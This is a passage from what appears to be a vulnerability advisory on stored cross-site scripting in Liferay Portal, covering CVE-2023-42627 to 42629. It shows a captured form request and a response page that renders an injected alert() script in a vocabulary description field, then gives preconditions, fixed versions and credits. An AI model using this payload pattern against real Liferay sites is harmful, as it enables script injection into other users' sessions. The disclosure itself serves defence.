Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_inputPermissionsViewRole"

Guest
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_guestPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_groupPermissions"

VIEW
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="_com_liferay_asset_categories_admin_web_portlet_AssetCategoriesAdminPortlet_checkboxNames"

multiValued,required0
-----------------------------23385551494836211141651886319
Content-Disposition: form-data; name="p_auth"

GgaH6PDc
-----------------------------23385551494836211141651886319--

Later, when a user requests a vocabulary entry, for example via a HTTP GET request to /group/speedwell/~/control_panel/manage/-/categories_admin/vocabulary/35897, the HTTP response is:

HTTP/1.1 200
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, no-cache, no-store, must-revalidate
Pragma: no-cache
Liferay-Portal: Liferay Community Edition Portal
Content-Type: text/html;charset=UTF-8
Date: Mon, 16 Oct 2023 11:05:58 GMT
Connection: close
Content-Length: 128719

[...]
<div class="sheet sheet-full">
    <h2 class="sheet-title">
        <div class="autofit-row autofit-row-center">
            <div class="autofit-col">
                MyCategory
            </div>
[...]
            <div class="mb-2">
                <span class="mr-1">Description:</span>
                <span class="text-break text-secondary"><script>alert("description")</script></span>
            </div>

    </div>
[...]
XSS payloads in the description field of a vocabulary entry.

Precondition

The affected modules must be enabled and used. Furthermore, an attacker must have the permission to enter the corresponding data. So it depends how the permissions are defined in a specific Liferay Portal instance.

It may be possible that guests are allowed to submit wiki pages or order products without a user account. Though adding new vocabulary to categories or regions to countries may be reserved for users with higher privileges.

Recommendation

Pentagrid recommends to update the Liferay Portal version. According to Liferay:

  • CVE-2023-42627 is fixed in Liferay Portal 7.4.3.92.

  • CVE-2023-42628 is fixed in Liferay Portal 7.4.3.88.

  • CVE-2023-42629 is fixed in Liferay Portal 7.4.3.88.

Credits

These vulnerabilities have been found by Michael Oelke (Pentagrid). We would like to thank Samuel Kong (Liferay) for the professional handling of the security issues.